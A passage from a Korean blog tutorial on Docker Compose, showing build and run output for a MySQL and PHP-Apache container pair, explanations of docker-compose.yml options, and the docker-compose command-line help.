 ---&gt; 5e50567cd525
Successfully built 5e50567cd525
Successfully tagged dockercomposetest_mysql_db:latest
.....
Building apache_web
Step 1/4 : FROM php:7.3-apache
7.3-apache: Pulling from library/php
1ab2bdfe9778: Pull complete
1448c64389e0: Pull complete
4b8a4e62b444: Pull complete
9eb9d1e8e241: Pull complete
d20b2d19292c: Pull complete
023060ea5930: Pull complete
a7fa99bc84ac: Pull complete
084397ea0b0b: Pull complete
27f2e3242e8a: Pull complete
c53d955b925a: Pull complete
55a8a68dea39: Pull complete
b78786d44570: Pull complete
69dd7e866b60: Pull complete
2907cf87b0bb: Pull complete
Digest: sha256:3314ed226566124b5a863b31c05b6f098f2dacad8ad52c40d53f08dc1ddce014
Status: Downloaded newer image for php:7.3-apache
 ---&gt; aa4bdc74350b
Step 2/4 : COPY index.php /var/www/html/
 ---&gt; 38239ab3143c
Step 3/4 : EXPOSE 80
 ---&gt; Running in 9bde9dcbd906
Removing intermediate container 9bde9dcbd906
 ---&gt; cb20ed5ccaed
Step 4/4 : CMD apachectl -D FOREGROUND
 ---&gt; Running in a1991c3fa70a
Removing intermediate container a1991c3fa70a
 ---&gt; 832e5697b1fe
Successfully built 832e5697b1fe
Successfully tagged dockercomposetest_apache_web:latest
WARNING: Image for service apache_web was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Creating dockercomposetest_mysql_db_1 ... 
Creating dockercomposetest_mysql_db_1 ... done
Creating dockercomposetest_apache_web_1 ... 
Creating dockercomposetest_apache_web_1 ... done
</code></pre>
<h4 id="centerdockercomposeupcenter"><center>docker-compose up</center></h4>
<br>
<p>&quot;<strong>docker-compose up -d</strong>&quot; 명령을 통해 컨테이너를 실행합니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">dongdonge@dongdonge$ docker images

REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
dockercomposetest_apache_web   latest              832e5697b1fe        3 minutes ago       414MB
dockercomposetest_mysql_db     latest              5e50567cd525        3 minutes ago       373MB
php                            7.3-apache          aa4bdc74350b        27 hours ago        414MB
mysql                          5.7                 e1e1680ac726        3 weeks ago         373MB
</code></pre>
<h4 id="centerdockerimagelistcenter"><center>docker image list</center></h4>
<br>
<p>현재 도커 이미지 리스트를 조회 시 도커 컨테이너의 기반이 되는 베이스 이미지 &quot;<strong>php:7.3-apache</strong>&quot;와 &quot;<strong>mysql:5.7</strong>&quot;를 먼저 다운로드를 받습니다.</p>
<p>&quot;<strong>dockercomposetest_apache_web</strong>&quot;와 &quot;<strong>dockercomposetest_mysql_db</strong>&quot; 방금 제작한 컨테이너의 이미지가 생성되었습니다.</p>
<p><br><br><br></p>
<pre><code class="language-bash">dongdonge@dongdonge$ docker ps -a

CONTAINER ID        IMAGE                          COMMAND                  CREATED             STATUS              PORTS                  NAMES
b2432e474cf7        dockercomposetest_apache_web   &quot;docker-php-entrypoi…&quot;   6 minutes ago       Up 6 minutes        0.0.0.0:1234-&gt;80/tcp   dockercomposetest_apache_web_1
eb077d17bfca        dockercomposetest_mysql_db     &quot;docker-entrypoint.s…&quot;   6 minutes ago       Up 6 minutes        3306/tcp, 33060/tcp    dockercomposetest_mysql_db_1
</code></pre>
<h4 id="centercenter"><center>작동중인 컨테이너</center></h4>
<br>
<p>&quot;<strong>Docker-Compose</strong>&quot;로 생성한 컨테이너가 정상적으로 구동되고 있습니다. 확인을 하기 위해 도커 웹서버 페이지를 불러오도록 하겠습니다.</p>
<p><br><br><br></p>
<!--kg-card-end: markdown--><!--kg-card-begin: image--><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://blog.d0ngd0nge.xyz/content/images/2019/09/php.png" class="kg-image"><figcaption><strong>[Docker Container Web Server]</strong></figcaption></figure><!--kg-card-end: image--><!--kg-card-begin: markdown--><p><br><br><br><br></p>
<h2 id="dockercomposedockercomposeyml">[Docker-Compose docker-compose.yml 옵션 설명 ]</h2>
<p>아래 내용은 Docker-Compose.yml 옵션에 대한 설명입니다.</p>
<ul>
<li>
<h3 id="versions3">versions: '3'</h3>
</li>
</ul>
<p>정의 파일에 대한 버전을 작성합니다. 버전에 따라 사용할 수 있는 명령이 제한되어 있습니다.</p>
<table>
<thead>
<tr>
<th>Compose Version</th>
<th>Docker Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.7</td>
<td>18.06.0+</td>
</tr>
<tr>
<td>3.6</td>
<td>18.02.0+</td>
</tr>
<tr>
<td>3.5</td>
<td>17.12.0+</td>
</tr>
<tr>
<td>3.4</td>
<td>17.09.0+</td>
</tr>
<tr>
<td>3.3</td>
<td>17.06.0+</td>
</tr>
<tr>
<td>3.2</td>
<td>17.04.0+</td>
</tr>
<tr>
<td>3.1</td>
<td>1.13.1+</td>
</tr>
<tr>
<td>3.0</td>
<td>1.13.0+</td>
</tr>
<tr>
<td>2.4</td>
<td>17.12.0+</td>
</tr>
</tbody>
</table>
<h4 id="centerversioncenter"><center>Version 표</center></h4>
<p><br><br></p>
<ul>
<li>
<h3 id="imagemysql57">image: mysql:5.7</h3>
</li>
</ul>
<p>Docker Container의 베이스 이미지를 지정할 때 사용합니다.<br>
만약 BASE IMAGE를 &quot;<strong>Dockerfile</strong>&quot; 통하여 작업을 진행한다면 사용하지 않습니다.</p>
<p>현재 &quot;<strong>mysql의 5.7</strong>&quot;를 베이스 이미지를 기반으로 컨테이너를 제작하였습니다.<br>
또한 로컬 호스트 환경에 베이스 이미지가 존재하지 않는다면 도커 허브를 통해 다운로드를 받고, 이미 존재한다면 다운로드 받지 않고 그대로 이미지를 사용하며, 컨테이너를 생성합니다.</p>
<p>생성된 컨테이너를 따로 베이스 이미지로 생성하지 않습니다.</p>
<p><br><br></p>
<ul>
<li>
<h3 id="build">build:</h3>
</li>
</ul>
<h3 id="contextdockercomposetestweb">        context: /docker-compose - TEST/web/</h3>
<h3 id="dockerfiledockercomposetestwebdockerfile">        dockerfile: /docker-compose - TEST/web/Dockerfile</h3>
<p>&quot;<strong>context</strong>&quot;를 이용하여 Dockerfile의 디렉터리 경로를 작성합니다.</p>
<p>&quot;<strong>dockerfile</strong>&quot; 경우는 절대/상대 경로를 통하여 작성할 수 있으며 dockerfile의 이름 및 확장자가 기본이 아닌 사용자 명으로 변경할 경우 쓰여야 합니다.</p>
<p><br><br></p>
<ul>
<li>
<h3 id="ports">ports:</h3>
</li>
</ul>
<h3 id="123480">        - &quot;1234:80&quot;</h3>
<p>&quot;<strong>context</strong>&quot;를 이용하여 호스트에 포트를 공개할 수 있습니다. (외부 접근 허용)</p>
<p>호스트포트 대신 컨테이너 포트만 작성하였을 경우 랜덤값으로 지정됩니다. 또한 &quot;<strong>ports</strong>&quot; 대신 &quot;<strong>expose</strong>&quot;를 사용하여 외부접근을 불가능하고 컨테이너끼리 또는 호스트에서 컨테이너로 포트 연결할 때 사용됩니다.</p>
<p>Ex) <strong>ports: &quot;호스트 포트:컨테이너 포트&quot;</strong><br>
Ex) <strong>expose: &quot;1234&quot;</strong></p>
<p><br><br></p>
<ul>
<li>
<h3 id="depends_on">depends_on:</h3>
</li>
</ul>
<h3 id="mysql_db">        - mysql_db</h3>
<p>&quot;<strong>depends_on</strong>&quot;를 사용하여 종속성 순서대로 도커 컨테이너 서비스를 시작할 수 있습니다.<br>
현재 &quot;<strong>depends_on: mysql_db</strong>&quot; 옵션이 있으므로, 웹서버보단 &quot;<strong>mysql_db</strong>&quot; 컨테이너가 먼저 시작됩니다.</p>
<p><br><br></p>
<ul>
<li>
<h3 id="commandshrootbackupsh">command: sh /root/backup.sh</h3>
</li>
<li>
<h3 id="entrypoint">entrypoint:</h3>
</li>
</ul>
<h3 id="sh">        - sh</h3>
<h3 id="rootbackupsh">        - /root/backup.sh</h3>
<p>&quot;<strong>command</strong>&quot;와 &quot;<strong>entrypoint</strong>&quot;를 이용하여 Docker Container가 실행될 때 명령어가 실행됩니다.</p>
<p>둘의 차이점은 &quot;<strong>entrypoint</strong>&quot;는 <strong>override</strong> 할 수 있습니다.</p>
<p><br><br></p>
<ul>
<li>
<h3 id="links">links:</h3>
</li>
</ul>
<h3 id="mysql_dbmysql_db">        - mysql_db:mysql_db</h3>
<p>&quot;<strong>links</strong>&quot;는 다른 컨테이너와 연결할 때 사용합니다. 서비스명과 함께 앨리어스명(별칭)을 붙일 수 있습니다.</p>
<p>현재 &quot;<strong>mysql_db</strong>&quot; 서비스와 연결하였으며, 별칭 또한 &quot;<strong>mysql_db</strong>&quot;로 설정되었습니다.</p>
<p>Ex) &quot;<strong>links: - 서비스명: 별칭</strong>&quot;</p>
<p><br><br></p>
<ul>
<li>
<h3 id="container_nameapache_webs">container_name: Apache_Webs</h3>
</li>
</ul>
<p>&quot;<strong>container_name</strong>&quot;를 사용하여 해당 컨테이너가 생성될 때 컨테이너명을 지정할 수 있습니다.</p>
<p>Ex) <strong>container_name: 컨테이너명</strong></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br><br><br></p>
<h2 id="dockercompose">[Docker-Compose 실행 명령어 ]</h2>
<p>아래 내용은 Docker-Compose 실행 명령어입니다.</p>
<p>Docker Compose로 다중 컨테이너를 관리하고 정의 및 실행할 수 있습니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo docker-compose help

Define and run multi-container applications with Docker.

Usage:
  docker-compose [-f &lt;arg&gt;...] [options] [COMMAND] [ARGS...]
  docker-compose -h|--help

Options:
  -f, --file FILE             Specify an alternate compose file (default: docker-compose.yml)
  -p, --project-name NAME     Specify an alternate project name (default: directory name)
  --verbose                   구체적으로 출력 표시
  --no-ansi                   Do not print ANSI control characters
  -v, --version               버전 출력
  -H, --host HOST             데몬 소켓에 연결

  --tls                       Use TLS; implied by --tlsverify
  --tlscacert CA_PATH         Trust certs signed only by this CA
  --tlscert CLIENT_CERT_PATH  Path to TLS certificate file
  --tlskey TLS_KEY_PATH       Path to TLS key file
  --tlsverify                 Use TLS and verify the remote
  --skip-hostname-check       Don't check the daemon's hostname against the name specified
                              in the client certificate (for example if your docker host
                              is an IP address)
  --project-directory PATH    Specify an alternate working directory
                              (default: the path of the Compose file)

Commands:
  build              서비스 빌드
  bundle             Generate a Docker bundle from the Compose file
  config             Validate and view the Compose file
  create             Create services
  down               컨테이너, 네트웤, 이미지, 볼륨 중지 및 제거 진행
  events             Receive real time events from containers
  exec               Execute a command in a running container
  help               Get help on a command
  images             이미지 리스트 출력
  kill               컨테이너 강제 종료
  logs               컨테이너 로그 출력
  pause              컨테이너 일시 정지
  port               컨테이너 포트 바인딩 공개 포트 출력
  ps                 컨테이너 목록 출력
  pull               Pull service images
  push               Push service images
  restart            컨테이너 재시작
  rm                 컨테이너 삭제
  run                컨테이너 실행
  scale              Set number of containers for a service
  start              컨테이너 시작
  stop               컨테이너 중단
  top                컨테이너 별로 실행중인 프로세스 출력
  unpause            Unpause services
  up                 컨테이너 생성 및 시작
  version            Show the Docker-Compose version information
</code></pre>
<p><br><br><br></p>
<h2 id="dockercomposeup">[Docker-Compose up 명령어 ]</h2>
<p>Docker-Compose &quot;<strong>up</strong>&quot; 명령어는 다중 이미지 및 컨테이너를 생성하고 시작할 수 있습니다.</p>
<p>참고로 docker-compose는 현재 경로의 &quot;<strong>docker-compose.yml</strong>&quot; 바탕으로 작동됩니다.</p>
<br>
<h5 id="dockercomposeupscaleservice"><code>docker-compose up &lt;옵션&gt; &lt;--scale SERVICE=갯수&gt; &lt;서비스..&gt;</code></h5>
<br>
<p>아래 옵션을 통해 확인해보도록 하겠습니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo docker-compose up --help

Builds, (re)creates, starts, and attaches to containers for a service.

Unless they are already running, this command also starts any linked services.

The `docker-compose up` command aggregates the output of each container. When
the command exits, all containers are stopped. Running `docker-compose up -d`
starts the containers in the background and leaves them running.

If there are existing containers for a service, and the service's configuration
or image was changed after the container's creation, `docker-compose up` picks
up the changes by stopping and recreating the containers (preserving mounted
volumes). To prevent Compose from picking up changes, use the `--no-recreate`
flag.

If you want to force Compose to stop and recreate all containers, use the
`--force-recreate` flag.

Usage: up [options] [--scale SERVICE=NUM...] [SERVICE...]

Options:
    -d                         백그라운드에서 컨테이너 실행
                               Incompatible with --abort-on-container-exit.
    --no-color                 흑백으로 출력
    --no-deps                  Don't start linked services.
    --force-recreate           Recreate containers even if their configuration
                               and image haven't changed.
                               Incompatible with --no-recreate.
    --no-recreate              If containers already exist, don't recreate them.
                               Incompatible with --force-recreate.
    --no-build                 이미지 빌드를 하지 않는다.
    --no-start                 Don't start the services after creating them.
    --build                    컨테이너 시작전 이미지 빌드
    --abort-on-container-exit  Stops all containers if any container was stopped.
                               Incompatible with -d.
    -t, --timeout TIMEOUT      Use this timeout in seconds for container shutdown
                               when attached or when containers are already
                               running. (default: 10)
    --remove-orphans           Remove containers for services not
                               defined in the Compose file
    --exit-code-from SERVICE   Return the exit code of the selected service container.
                               Implies --abort-on-container-exit.
    --scale SERVICE=NUM        Scale SERVICE to NUM instances. Overrides the `scale`
                               setting in the Compose file if present****
</code></pre>
<p><br><br><br></p>
<p>아래 명령어는 다중 이미지/컨테이너를 빌드후 백그라운드로 실행합니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ docker-compose up -d
Creating network &quot;dockercomposetest_default&quot; with the default driver
Building mysql_db
Step 1/7 : FROM mysql:5.7
 ---&gt; 383867b75fd2
Step 2/7 : ENV MYSQL_ROOT_PASSWORD=&quot;toor&quot;
 ---&gt; Running in a22329caec81
Removing intermediate container a22329caec81
 ---&gt; 4f951609d2dd
Step 3/7 : ENV MYSQL_DATABASE &quot;DongDongE&quot;
 ---&gt; Running in bcf7e0110214
Removing intermediate container bcf7e0110214
 ---&gt; 1c207463ff08
Step 4/7 : ENV MYSQL_USER &quot;DongDongE&quot;
 ---&gt; Running in f7b4457c24ed
Removing intermediate container f7b4457c24ed
 ---&gt; c70dd6ede338
Step 5/7 : ENV MYSQL_PASSWORD &quot;toor&quot;
 ---&gt; Running in adbc99a06d01
Removing intermediate container adbc99a06d01
 ---&gt; e52841b7501b
Step 6/7 : EXPOSE 3306
 ---&gt; Running in 12234afe44e6
Removing intermediate container 12234afe44e6
 ---&gt; 9e65c1c5a47d
Step 7/7 : CMD [&quot;mysqld&quot;]
 ---&gt; Running in 919bb99a344a
Removing intermediate container 919bb99a344a
 ---&gt; d7869e4109ee
Successfully built d7869e4109ee
Successfully tagged dockercomposetest_mysql_db:latest
WARNING: Image for service mysql_db was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Building apache_web
Step 1/4 : FROM php:7.3-apache
 ---&gt; 41c1d7e4012d
Step 2/4 : COPY index.php /var/www/html/
 ---&gt; 471c43c35ac0
Step 3/4 : EXPOSE 80
 ---&gt; Running in 5ab94e2993a9
Removing intermediate container 5ab94e2993a9
 ---&gt; 559f633cc0dd
Step 4/4 : CMD apachectl -D FOREGROUND
 ---&gt; Running in 66cb18c69c8f
Removing intermediate container 66cb18c69c8f
 ---&gt; 95061875a2e0
Successfully built 95061875a2e0
Successfully tagged dockercomposetest_apache_web:latest
WARNING: Image for service apache_web was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Creating Mysql_DBS ... 
Creating Mysql_DBS ... done
Creating Apache_Webs ... 
Creating Apache_Webs ... done
</code></pre>
<p><br><br><br></p>
<h2 id="dockercomposeps">[Docker-Compose ps 명령어 ]</h2>
<p>Docker Compose에서 생성된 컨테이너 목록을 표시 합니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ sudo docker-compose ps
   Name                  Command               State                 Ports              
----------------------------------------------------------------------------------------
Apache_Webs   docker-php-entrypoint /bin ...   Up      80/tcp                           
Mysql_DBS     docker-entrypoint.sh mysqld      Up      0.0.0.0:1235-&gt;3306/tcp, 33060/tcp
</code></pre>
<p><br><br><br></p>
<h2 id="dockercomposestartstoprestart">[Docker-Compose start/stop/restart 명령어 ]</h2>
<p>Docker Compose에서 생성된 컨테이너를 시작/중단/재시작할 때 사용합니다.</p>
<pre><code class="language-bash">dongdonge@dongdonge$ docker-compose start
Starting mysql_db   ... done
Starting apache_web ... done

dongdonge@dongdonge$ docker-compose stop
Stopping Apache_Webs ... done
Stopping Mysql_DBS   ... done

dongdonge@dongdonge$ docker-compose restart
Restarting Apache_Webs ... done
Restarting Mysql_DBS   ... done
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>